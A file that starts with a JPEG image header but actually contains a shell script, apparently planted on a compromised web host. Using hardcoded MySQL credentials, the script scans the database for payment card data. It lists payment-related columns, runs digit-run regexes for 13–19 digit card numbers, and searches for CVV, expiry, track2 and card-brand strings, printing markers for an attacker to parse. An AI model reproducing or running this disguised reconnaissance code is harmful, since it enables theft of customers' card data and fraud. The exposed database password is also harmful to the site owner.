ÿØÿàJFIF#!/bin/sh M=/bin/mysql U=u838083294_lamaira P='jO=;SChLNWW6' D=u838083294_lamaira Q(){ "$M" -h127.0.0.1 -u"$U" -p"$P" "$D" -N -B -e "$1" 2>&1; } echo S_STRT echo "=== SUSPECT COLUMN NAMES ===" Q "select table_name,column_name,data_type from information_schema.columns where table_schema='$D' and (lower(column_name) regexp 'card|cc|pan|cvv|cvc|csc|expir|exp|payment|pay|transaction|gateway|stripe|razorpay|payu|paypal|iban|acct|billing|checkout|order|invoice|amount|currency|track|magnetic|mag_|swipe|chip|pin_');" echo "=== SUSPECT END ===" echo "=== PER-TABLE STRING VOLUME ===" for t in $(Q "select table_name from information_schema.tables where table_schema='$D' and table_type='BASE TABLE' order by table_name"); do SC=$(Q "select group_concat(column_name) from information_schema.columns where table_schema='$D' and table_name='$t' and data_type in ('varchar','char','text','mediumtext','longtext','blob','mediumblob','longblob')") EXPR="" for c in $(echo "$SC" | tr ',' ' '); do EXPR="$EXPR+ifnull(char_length(\`$c\`),0)"; done TOT=$(Q "select ifnull(sum(${EXPR#+}),0) from \`$t\`") NR=$(Q "select count(*) from \`$t\`") echo "VOL $t rows=$NR chars=$TOT strcols=$SC" done echo "=== DIGIT-RUN SCAN ===" for t in $(Q "select table_name from information_schema.tables where table_schema='$D' and table_type='BASE TABLE' order by table_name"); do SC=$(Q "select group_concat(column_name) from information_schema.columns where table_schema='$D' and table_name='$t' and data_type in ('varchar','char','text','mediumtext','longtext','blob','mediumblob','longblob')") for c in $(echo "$SC" | tr ',' ' '); do N=$(Q "select count(*) from \`$t\` where \`$c\` regexp '([0-9][ -]?){13,19}'") echo "SCAN $t.$c hits13_19=$N" done done echo "=== SCAN END ===" echo "=== TOKEN SEARCH ===" for t in $(Q "select table_name from information_schema.tables where table_schema='$D' and table_type='BASE TABLE' order by table_name"); do SC=$(Q "select group_concat(column_name) from information_schema.columns where table_schema='$D' and table_name='$t' and data_type in ('varchar','char','text','mediumtext','longtext','blob','mediumblob','longblob')") for c in $(echo "$SC" | tr ',' ' '); do N=$(Q "select count(*) from \`$t\` where lower(\`$c\`) regexp 'cvv|cvc|csc|card.?number|credit.?card|debit.?card|expiry|exp_date|mm/yy|mm/yyyy|%b[0-9]|track2|magstripe|visa|mastercard|amex|rupay'") if [ "$N" != "0" ]; then echo "TOKHIT $t.$c n=$N"; fi done done echo "=== TOKEN END ===" echo ENDOK